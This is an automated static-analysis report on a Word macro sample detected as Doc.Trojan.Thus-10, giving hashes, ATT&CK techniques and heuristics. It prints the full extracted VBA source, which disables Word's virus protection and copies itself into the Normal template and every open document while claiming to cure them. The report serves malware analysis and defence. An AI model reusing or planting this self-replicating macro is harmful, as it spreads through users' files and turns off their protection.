Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 86591c7d53d0e559…

MALICIOUS

Office (OLE)

27.5 KB Created: 1999-06-16 14:03:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3cf4af672078c9c2dd28f2986d9dc2ee SHA-1: fa3a73ae1fd4238bd520a4ff89eada32035ca9eb SHA-256: 86591c7d53d0e559517f38dfa8e1a20edbc0e8ebc8c3917002c7e12419201a6b
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code upon opening a document. The macro attempts to disable virus protection and manipulates the NormalTemplate to ensure its own execution. The presence of 'AntiThus' and 'Anti-Smyser' comments, along with the ClamAV detection name 'Doc.Trojan.Thus-10', strongly suggests a malicious intent to deliver a payload or perform other harmful actions.

Heuristics 3

  • ClamAV: Doc.Trojan.Thus-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-10
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2468 bytes
SHA-256: aece26f2da33f0730365bdcc8439bd35d1c7187198950e6315d6d941efba5a23
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'AntiThus'
'Anti-Smyser'
' Ïðîãðàìà ïðèçíà÷åíà äëÿ çíåðàæåííÿ â³ðóñà 'Anti-Smyser'
    On Error Resume Next
    Application.Options.VirusProtection = False
 If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'AntiThus'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
        .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
        .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
        .Item(1).CodeModule.CountOfLines)
    End If
    Response = MsgBox("Äîêóìåíò âèë³êóâàíî!", vbOKOnly, "Ïîâ³äîìëåííÿ")
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    
    CVD = 0
    For k = 1 To Application.Documents.Count
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'AntiThus'" Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
            .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        End If
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
            .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
            .VBComponents.Item(1).CodeModule.CountOfLines)
        End If
        CVD = CVD + 1
    Next k
    Response = MsgBox(Str(CVD) + " äîêóìåíòè âèë³êóâàíî!", vbOKOnly, "Ïîâ³äîìëåííÿ")
   
    'Application.Options.VirusProtection = True
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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